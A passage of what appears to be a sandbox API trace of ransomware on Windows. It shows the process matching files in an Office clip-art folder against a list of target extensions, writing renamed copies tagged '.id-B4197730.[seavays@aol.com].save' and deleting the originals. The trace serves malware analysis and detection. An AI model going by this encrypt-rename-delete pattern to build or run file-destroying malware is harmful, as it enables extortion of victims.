(lpString1=".7z", lpString2="JPG") returned -1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.426] lstrlenW (lpString=".dbf") returned 4 [0208.426] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.426] lstrlenW (lpString=".1cd") returned 4 [0208.426] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.426] lstrlenW (lpString=".jpg") returned 4 [0208.426] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.426] lstrlenW (lpString=".doc") returned 4 [0208.426] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0208.426] lstrlenW (lpString=".docx") returned 5 [0208.426] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0208.426] lstrlenW (lpString=".pdf") returned 4 [0208.426] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0208.426] lstrlenW (lpString=".xls") returned 4 [0208.426] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0208.426] lstrlenW (lpString=".xlsx") returned 5 [0208.426] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0208.426] lstrlenW (lpString=".ppt") returned 4 [0208.426] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0208.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.427] lstrlenW (lpString=".zip") returned 4 [0208.427] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0208.427] lstrlenW (lpString=".rar") returned 4 [0208.427] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0208.427] lstrlenW (lpString=".bz2") returned 4 [0208.427] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0208.427] lstrlenW (lpString=".7z") returned 3 [0208.427] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.427] lstrlenW (lpString=".dbf") returned 4 [0208.427] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.427] lstrlenW (lpString=".1cd") returned 4 [0208.427] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0208.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099186.JPG") returned 68 [0208.427] lstrlenW (lpString=".jpg") returned 4 [0208.427] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0208.427] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.427] lstrlenW (lpString="J0099198.GIF") returned 12 [0208.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.428] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5259) returned 1 [0208.428] CloseHandle (hObject=0x384) returned 1 [0208.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0208.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.428] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.429] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0208.430] GetLastError () returned 0x0 [0208.430] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x148b, lpOverlapped=0x0) returned 1 [0208.431] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1490, lpOverlapped=0x0) returned 1 [0208.433] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.433] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.433] SetEndOfFile (hFile=0x388) returned 1 [0208.433] CloseHandle (hObject=0x388) returned 1 [0208.433] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.433] SetEndOfFile (hFile=0x384) returned 1 [0208.434] CloseHandle (hObject=0x384) returned 1 [0208.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0208.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.435] lstrlenW (lpString=".doc") returned 4 [0208.436] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.436] lstrlenW (lpString=".docx") returned 5 [0208.436] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0208.436] lstrlenW (lpString=".pdf") returned 4 [0208.436] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.436] lstrlenW (lpString=".xls") returned 4 [0208.436] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.436] lstrlenW (lpString=".xlsx") returned 5 [0208.436] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0208.436] lstrlenW (lpString=".ppt") returned 4 [0208.436] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.436] lstrlenW (lpString=".zip") returned 4 [0208.436] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.436] lstrlenW (lpString=".rar") returned 4 [0208.436] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.436] lstrlenW (lpString=".bz2") returned 4 [0208.436] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.436] lstrlenW (lpString=".7z") returned 3 [0208.436] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.436] lstrlenW (lpString=".dbf") returned 4 [0208.436] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.436] lstrlenW (lpString=".1cd") returned 4 [0208.437] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.437] lstrlenW (lpString=".jpg") returned 4 [0208.437] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.437] lstrlenW (lpString=".doc") returned 4 [0208.437] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.437] lstrlenW (lpString=".docx") returned 5 [0208.437] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0208.437] lstrlenW (lpString=".pdf") returned 4 [0208.437] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.437] lstrlenW (lpString=".xls") returned 4 [0208.437] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.437] lstrlenW (lpString=".xlsx") returned 5 [0208.437] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0208.437] lstrlenW (lpString=".ppt") returned 4 [0208.437] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.437] lstrlenW (lpString=".zip") returned 4 [0208.437] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.437] lstrlenW (lpString=".rar") returned 4 [0208.437] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.437] lstrlenW (lpString=".bz2") returned 4 [0208.437] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.438] lstrlenW (lpString=".7z") returned 3 [0208.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.438] lstrlenW (lpString=".dbf") returned 4 [0208.438] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.438] lstrlenW (lpString=".1cd") returned 4 [0208.438] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0208.438] lstrlenW (lpString=".jpg") returned 4 [0208.438] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.438] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.438] lstrlenW (lpString="J0099199.GIF") returned 12 [0208.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.439] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=33975) returned 1 [0208.439] CloseHandle (hObject=0x384) returned 1 [0208.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0208.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.440] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.440] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0208.441] GetLastError () returned 0x0 [0208.441] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x84b7, lpOverlapped=0x0) returned 1 [0208.443] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x84c0, lpOverlapped=0x0) returned 1 [0208.445] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.445] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.445] SetEndOfFile (hFile=0x388) returned 1 [0208.446] CloseHandle (hObject=0x388) returned 1 [0208.446] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.446] SetEndOfFile (hFile=0x384) returned 1 [0208.447] CloseHandle (hObject=0x384) returned 1 [0208.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0208.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.448] lstrlenW (lpString=".doc") returned 4 [0208.448] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.448] lstrlenW (lpString=".docx") returned 5 [0208.448] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0208.448] lstrlenW (lpString=".pdf") returned 4 [0208.448] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.449] lstrlenW (lpString=".xls") returned 4 [0208.449] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.449] lstrlenW (lpString=".xlsx") returned 5 [0208.449] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0208.449] lstrlenW (lpString=".ppt") returned 4 [0208.449] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.449] lstrlenW (lpString=".zip") returned 4 [0208.449] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.449] lstrlenW (lpString=".rar") returned 4 [0208.449] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.449] lstrlenW (lpString=".bz2") returned 4 [0208.449] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.449] lstrlenW (lpString=".7z") returned 3 [0208.449] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.449] lstrlenW (lpString=".dbf") returned 4 [0208.449] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.449] lstrlenW (lpString=".1cd") returned 4 [0208.449] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.450] lstrlenW (lpString=".jpg") returned 4 [0208.450] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.450] lstrlenW (lpString=".doc") returned 4 [0208.450] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.450] lstrlenW (lpString=".docx") returned 5 [0208.450] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0208.450] lstrlenW (lpString=".pdf") returned 4 [0208.450] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.450] lstrlenW (lpString=".xls") returned 4 [0208.450] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.450] lstrlenW (lpString=".xlsx") returned 5 [0208.450] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0208.450] lstrlenW (lpString=".ppt") returned 4 [0208.450] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.450] lstrlenW (lpString=".zip") returned 4 [0208.450] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.450] lstrlenW (lpString=".rar") returned 4 [0208.450] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.450] lstrlenW (lpString=".bz2") returned 4 [0208.451] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.451] lstrlenW (lpString=".7z") returned 3 [0208.451] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.451] lstrlenW (lpString=".dbf") returned 4 [0208.451] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.451] lstrlenW (lpString=".1cd") returned 4 [0208.451] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0208.451] lstrlenW (lpString=".jpg") returned 4 [0208.451] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.451] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0208.451] lstrlenW (lpString="J0099200.GIF") returned 12 [0208.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.452] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=16543) returned 1 [0208.452] CloseHandle (hObject=0x384) returned 1 [0208.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0208.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0208.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0208.452] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.452] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0208.453] GetLastError () returned 0x0 [0208.454] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x409f, lpOverlapped=0x0) returned 1 [0208.724] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0208.728] ReadFile (in: hFile=0x384, lpBuffer=0x32b2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.728] WriteFile (in: hFile=0x388, lpBuffer=0x32b2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x32b2020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.728] SetEndOfFile (hFile=0x388) returned 1 [0208.728] CloseHandle (hObject=0x388) returned 1 [0208.728] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.728] SetEndOfFile (hFile=0x384) returned 1 [0208.729] CloseHandle (hObject=0x384) returned 1 [0208.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0208.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0208.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.730] lstrlenW (lpString=".doc") returned 4 [0208.730] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.730] lstrlenW (lpString=".docx") returned 5 [0208.730] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0208.730] lstrlenW (lpString=".pdf") returned 4 [0208.730] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.730] lstrlenW (lpString=".xls") returned 4 [0208.730] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.731] lstrlenW (lpString=".xlsx") returned 5 [0208.731] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0208.731] lstrlenW (lpString=".ppt") returned 4 [0208.731] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.731] lstrlenW (lpString=".zip") returned 4 [0208.731] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.731] lstrlenW (lpString=".rar") returned 4 [0208.731] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.731] lstrlenW (lpString=".bz2") returned 4 [0208.731] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.731] lstrlenW (lpString=".7z") returned 3 [0208.731] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.731] lstrlenW (lpString=".dbf") returned 4 [0208.731] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.731] lstrlenW (lpString=".1cd") returned 4 [0208.731] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0208.731] lstrlenW (lpString=".jpg") returned 4 